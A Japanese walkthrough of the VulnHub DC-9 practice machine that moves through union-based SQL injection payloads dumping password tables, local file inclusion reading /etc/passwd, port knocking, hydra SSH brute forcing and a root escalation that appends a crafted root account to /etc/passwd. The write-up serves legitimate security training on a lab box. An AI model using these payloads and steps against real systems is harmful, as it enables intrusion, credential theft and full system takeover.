0, DC-9について

VulnHubからダウンロードできる、脆弱性のあるボックスです。

1, nmapでスキャンする

/etc/hostsにDC-9のIPをdc9.localで解決できるよう記述した後、nmapでDC-9をスキャンします。

# nmap -Pn -T4 -A -oN report_nmap_dc9 dc9.local
# cat report_nmap_dc9
# Nmap 7.92 scan initiated Fri Jun 24 22:23:33 2022 as: nmap -Pn -T4 -A -oN report_nmap_dc9 dc9.local
Nmap scan report for dc9.local (192.168.100.52)
Host is up (0.00087s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE    SERVICE VERSION
22/tcp filtered ssh
80/tcp open     http    Apache httpd 2.4.38 ((Debian))
|_http-title: Example.com - Staff Details - Welcome
|_http-server-header: Apache/2.4.38 (Debian)
MAC Address: 08:00:27:C2:17:8F (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop

22/tcp filtered ssh
80/tcp open http Apache httpd 2.4.38 ((Debian))
という情報が得られました。

searchsploitでApache 2.4に脆弱性がないか調査します。

# searchsploit Apache 2.4
----------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                     |  Path
----------------------------------------------------------------------------------- ---------------------------------
Apache + PHP < 5.3.12 / < 5.4.2 - cgi-bin Remote Code Execution                    | php/remote/29290.c
Apache + PHP < 5.3.12 / < 5.4.2 - Remote Code Execution + Scanner                  | php/remote/29316.py
Apache 2.2.4 - 413 Error HTTP Request Method Cross-Site Scripting                  | unix/remote/30835.sh
Apache 2.4.17 - Denial of Service                                                  | windows/dos/39037.php
Apache 2.4.17 < 2.4.38 - 'apache2ctl graceful' 'logrotate' Local Privilege Escalat | linux/local/46676.php
Apache 2.4.23 mod_http2 - Denial of Service                                        | linux/dos/40909.py
Apache 2.4.7 + PHP 7.0.2 - 'openssl_seal()' Uninitialized Memory Code Execution    | php/remote/40142.php
Apache 2.4.7 mod_status - Scoreboard Handling Race Condition                       | linux/dos/34133.txt
Apache < 2.2.34 / < 2.4.27 - OPTIONS Memory Leak                                   | linux/webapps/42745.py
Apache CXF < 2.5.10/2.6.7/2.7.4 - Denial of Service                                | multiple/dos/26710.txt
Apache HTTP Server 2.4.49 - Path Traversal & Remote Code Execution (RCE)           | multiple/webapps/50383.sh
Apache HTTP Server 2.4.50 - Path Traversal & Remote Code Execution (RCE)           | multiple/webapps/50406.sh
Apache HTTP Server 2.4.50 - Remote Code Execution (RCE) (2)                        | multiple/webapps/50446.sh
Apache HTTP Server 2.4.50 - Remote Code Execution (RCE) (3)                        | multiple/webapps/50512.py

2, Webページの調査

searchsploitの結果、Metasploitなどで侵入することは難しそうです。
なので、地道にWebサイトを調査します。
入力フィールドがあるのは、SearchとManageです。

まずはManageでSQLインジェクションができないか試してみます。

だめでした。

次にSearchで、SQLインジェクションの検証をします。

成功です。SQLの脆弱性を利用し、情報を取得していきます。

3, カラム数の特定

表示されている画像から、Searchで生成されるクエリは、

select id, name, position, phone, email from table where name="{input}"

のようになっていることが予想できます。なので、テーブルのカラム数は5以上です。

カラム数が10を超えているか？その調査のためには、以下のクエリを投げれば良いです。

' or 1=1 order by 10 #

10列目の値で並べさせるクエリを送ります。結果、以下の結果が出力されました。

よって、列数は5~9であると分かります。

order byの数値を変えて調査を進めると、カラム数は6であると分かります。

' or 1=1  order by 6 # → 成功
' or 1=1  order by 7 # → 失敗

4, Union Based SQL Injection

次に、Union Based SQL Injectionという手法を使い調査を進めます。
Union Based SQL Injectionとは、unionを使い行を挿入することで内部情報を抜き取る手法です。
まずは、簡単なクエリを投げてみます。

' or 1=1  union select 1,2,3,4,5,6; #

新しく1つの行が追加されました。

ここで、4,5,6を数値ではなく関数に置き換えます。

' or 1=1  union select 1,2,3,user(),database(),version() ;#

クエリを発行したユーザー、使用中のDatabase、DBのバージョンを出力できました。

これを更に進め、スキーマの一覧を出力させます。

' or 1=1  union select 1,2,3,group_concat(schema_name),5,6 from information_schema.schemata; #

Staffに含まれるテーブル一覧を取得します。

' or 1=1  union select 1,2,3,group_concat(table_name),5,6 from information_schema.tables where table_schema='Staff'; #

StaffスキーマのUsersテーブルのカラムを取得します。

' or 1=1  union select 1,2,3,group_concat(column_name),5,6 from information_schema.columns where table_name='Users'; #

UserID, Username, Passwordを取得します。

' or 1=1  union select 1,2,group_concat(UserID),group_concat(Username),group_concat(Password),6 from Users; #

UserID : 1,
Username : admin,
Password : 856f5de590ef37314e7c3bdf6f8a66dc
が得られました。

同様に、usersデータベースを調査します。

' or 1=1 union select 1,2,3,group_concat(table_name),5,6 from information_schema.tables where table_schema='users'; #
→ UserDetails
' or 1=1 union select 1,2,3,group_concat(column_name),5,6 from information_schema.columns where table_name='UserDetails'; #
→ id,firstname,lastname,username,password,reg_date
' or 1=1 union select 1,2,3,group_concat(username),group_concat(password),6 from users.UserDetails; #

得られたusernameとpasswordを保存しておきます。

5, ログイン、LFIの利用

パスワードハッシュを解析し、admin / transorbital1 で Manageにログインします。
ログインすると、フッターのエラーメッセージ "File does not exist" が目に付きます。

ttp://dc9.local/welcome.php?xxxx=xxxxのようにパラメータを指定して、/etc/passwdなどを表示させることができそうです。

パラメータ名を取得するため、ffufというツールを使います。
https://github.com/ffuf/ffuf
Burp SuiteなどでセッションIDを入手し、以下のコマンドを実行します。
burp-parameter-names.txt は↓からダウンロードします。
https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/burp-parameter-names.txt

# ffuf -w burp-parameter-names.txt -u http://dc9.local/welcome.php?FUZZ=test_value -b "PHPSESSID=811tqnan26gfrdvq17hqpqfmpr" -fs 4242
...
________________________________________________

 :: Method           : GET
 :: URL              : http://dc9.local/welcome.php?FUZZ=test_value
 :: Wordlist         : FUZZ: burp-parameter-names.txt
 :: Header           : Cookie: PHPSESSID=811tqnan26gfrdvq17hqpqfmpr
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
 :: Filter           : Response size: 4242
________________________________________________

12                      [Status: 200, Size: 963, Words: 41, Lines: 43, Duration: 16ms]
11                      [Status: 200, Size: 963, Words: 41, Lines: 43, Duration: 21ms]
1                       [Status: 200, Size: 963, Words: 41, Lines: 43, Duration: 21ms]
APICpictureType         [Status: 200, Size: 963, Words: 41, Lines: 43, Duration: 8ms]
AVSCV2                  [Status: 200, Size: 963, Words: 41, Lines: 43, Duration: 8ms]
AMOUNT                  [Status: 200, Size: 963, Words: 41, Lines: 43, Duration: 8ms]

-fsの値を963に変えても、パラメータ名を検出できません。
ここで、LFI脆弱性がある前提で、引数に渡す値をファイルパスとしてffufを実行します。

# ffuf -w burp-parameter-names.txt -u http://dc9.local/welcome.php?FUZZ=../../../../../../etc/passwd -b "PHPSESSID=811tqnan26gfrdvq17hqpqfmpr" -fs 963
...
file                    [Status: 200, Size: 3316, Words: 71, Lines: 86, Duration: 17ms]
:: Progress: [6453/6453] :: Job [1/1] :: 1243 req/sec :: Duration: [0:00:05] :: Errors: 0 ::

脆弱性のあるパラメータ名はfileです。
ttp://dc9.local/welcome.php?file=../../../../../../etc/passwd にアクセスします。

SQLインジェクションで得たusernameが、全てsshログイン可能となっています。

6, ユーザー権限取得

最初にnmapを実行したとき、
22/tcp filtered ssh
でした。

ポートノッキングで開けないか、/etc/knockd.conf を調べます。

7469, 8475, 9842 の順番でknockすれば22番ポートを開けます。

# knock dc9.local 7469 8475 9842
# nmap -p22 dc9.local 
...
PORT   STATE SERVICE
22/tcp open  ssh

22番ポートに、hydraでブルートフォース攻撃を行います。

# hydra -L username.txt -P password.txt dc9.local ssh 
...
[22][ssh] host: dc9.local   login: chandlerb   password: UrAG0D!
[22][ssh] host: dc9.local   login: joeyt   password: Passw0rd
[STATUS] 238.00 tries/min, 238 tries in 00:01h, 57 to do in 00:01h, 10 active
[22][ssh] host: dc9.local   login: janitor   password: Ilovepeepee
1 of 1 target successfully completed, 3 valid passwords found

username : janitor / password : Ilovepeepee でログインします。

janitor@dc-9:~$ whoami
janitor
janitor@dc-9:~$ pwd
/home/janitor
janitor@dc-9:~$ ls -al
total 16
drwx------  4 janitor janitor 4096 Jun 25 14:31 .
drwxr-xr-x 19 root    root    4096 Dec 29  2019 ..
lrwxrwxrwx  1 janitor janitor    9 Dec 29  2019 .bash_history -> /dev/null
drwx------  3 janitor janitor 4096 Jun 25 14:31 .gnupg
drwx------  2 janitor janitor 4096 Dec 29  2019 .secrets-for-putin

ログインできました。

7, 権限昇格

ログイン後、.secrets-for-putin/passwords-found-on-post-it-notes.txt を表示します。

janitor@dc-9:~$ ls -al
total 16
drwx------  4 janitor janitor 4096 Jun 25 14:31 .
drwxr-xr-x 19 root    root    4096 Dec 29  2019 ..
lrwxrwxrwx  1 janitor janitor    9 Dec 29  2019 .bash_history -> /dev/null
drwx------  3 janitor janitor 4096 Jun 25 14:31 .gnupg
drwx------  2 janitor janitor 4096 Dec 29  2019 .secrets-for-putin
janitor@dc-9:~$ cat .secrets-for-putin/passwords-found-on-post-it-notes.txt 
BamBam01
Passw0rd
smellycats
P0Lic#10-4
B4-Tru3-001
4uGU5T-NiGHts

新たに見つけたパスワードリストを用いて、再度hydraでブルートフォース攻撃を行います。

# hydra -L username.txt -P password.txt dc9.local ssh
...
[22][ssh] host: dc9.local   login: fredf   password: B4-Tru3-001
[22][ssh] host: dc9.local   login: chandlerb   password: UrAG0D!
[22][ssh] host: dc9.local   login: joeyt   password: Passw0rd
[STATUS] 324.00 tries/min, 324 tries in 00:01h, 68 to do in 00:01h, 15 active
[22][ssh] host: dc9.local   login: janitor   password: Ilovepeepee
1 of 1 target successfully completed, 4 valid passwords found

hydraで新たに発見できたfredfにログインします。
他のアカウントでは、root権限で実行できるファイルはありませんが、
fredfは /opt/devstuff/dist/test/test をroot権限で実行できるようです。

/opt/devstuff/dist/test/test を調査します。

fredf@dc-9:~$ file /opt/devstuff/dist/test/test
/opt/devstuff/dist/test/test: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=28ba79c778f7402713aec6af319ee0fbaf3a8014, stripped
fredf@dc-9:~$ ls -al /opt/devstuff/dist/test/test
-rwxr-xr-x 1 root root 1212968 Dec 29  2019 /opt/devstuff/dist/test/test

testはroot権限が与えられた実行ファイルです。

実行ファイル周辺のファイルも調べます。すると、/opt/devstuff に test.py がありました。

fredf@dc-9:/opt/devstuff$ pwd
/opt/devstuff
fredf@dc-9:/opt/devstuff$ ls -al
total 28
drwxr-xr-x 5 root root 4096 Dec 29  2019 .
drwxr-xr-x 4 root root 4096 Dec 29  2019 ..
drwxr-xr-x 3 root root 4096 Dec 29  2019 build
drwxr-xr-x 3 root root 4096 Dec 29  2019 dist
drwxr-xr-x 2 root root 4096 Dec 29  2019 __pycache__
-rw-r--r-- 1 root root  250 Dec 29  2019 test.py
-rw-r--r-- 1 root root  959 Dec 29  2019 test.spec

test.py を表示します。

fredf@dc-9:/opt/devstuff$ cat test.py
#!/usr/bin/python

import sys

if len (sys.argv) != 3 :
    print ("Usage: python test.py read append")
    sys.exit (1)

else :
    f = open(sys.argv[1], "r")
    output = (f.read())

    f = open(sys.argv[2], "a")
    f.write(output)
    f.close()

第1引数のファイルを開き、内容を読みます。
その後第2引数に指定されたファイルに、読み込んだ内容を追記します。
/opt/devstuff/ 以下の実行ファイル、/opt/devstuff/dist/test/test はこのコードをコンパイルしたものと予想できます。
testを利用し、/etc/passwd にroot権限を持つ新たなユーザーを追加します。

fredf@dc-9:/opt/devstuff/dist/test$ pwd
/opt/devstuff/dist/test
fredf@dc-9:/opt/devstuff/dist/test$ openssl passwd -1
Password: (12345)
Verifying - Password: (12345)
$1$A4oy3Guw$MN1eMplrkMHQToSZWnqVu/
fredf@dc-9:/opt/devstuff/dist/test$ cat ~/exploit_passwd 
pwned:$1$A4oy3Guw$MN1eMplrkMHQToSZWnqVu/:0:0:root:/root:/bin/bash
fredf@dc-9:/opt/devstuff/dist/test$ sudo ./test ~/exploit_passwd /etc/passwd
fredf@dc-9:/opt/devstuff/dist/test$ su pwned
Password: (12345)
root@dc-9:/opt/devstuff/dist/test# cd /root
root@dc-9:~# ls -al
total 32
drwx------  5 root root 4096 Dec 29  2019 .
drwxr-xr-x 18 root root 4096 Dec 29  2019 ..
lrwxrwxrwx  1 root root    9 Dec 29  2019 .bash_history -> /dev/null
-rwx------  1 root root  570 Jan 31  2010 .bashrc
drwxr-xr-x  3 root root 4096 Dec 29  2019 .cache
drwx------  3 root root 4096 Dec 29  2019 .gnupg
drwx------  3 root root 4096 Dec 29  2019 .local
-rwx------  1 root root  148 Aug 18  2015 .profile
-rwx------  1 root root 1821 Dec 29  2019 theflag.txt

theflag.txtを表示しましょう。

8, 参考資料

参考にさせていただいたwriteup
https://arz101.medium.com/vulnhub-dc-9-1db15e8b878e
https://grumpygeekwrites.wordpress.com/2021/06/06/dc-9-vulnhub-walk-through-tutorial-writeup/
https://www.hackingarticles.in/dc-9-vulnhub-walkthrough/

SQLiの学習に使った講座
https://www.udemy.com/course/sql-injections-unlocked-sqli-web-attacks/

権限昇格の学習に使った講座
https://www.udemy.com/course/the-complete-linux-privilege-escalation-course/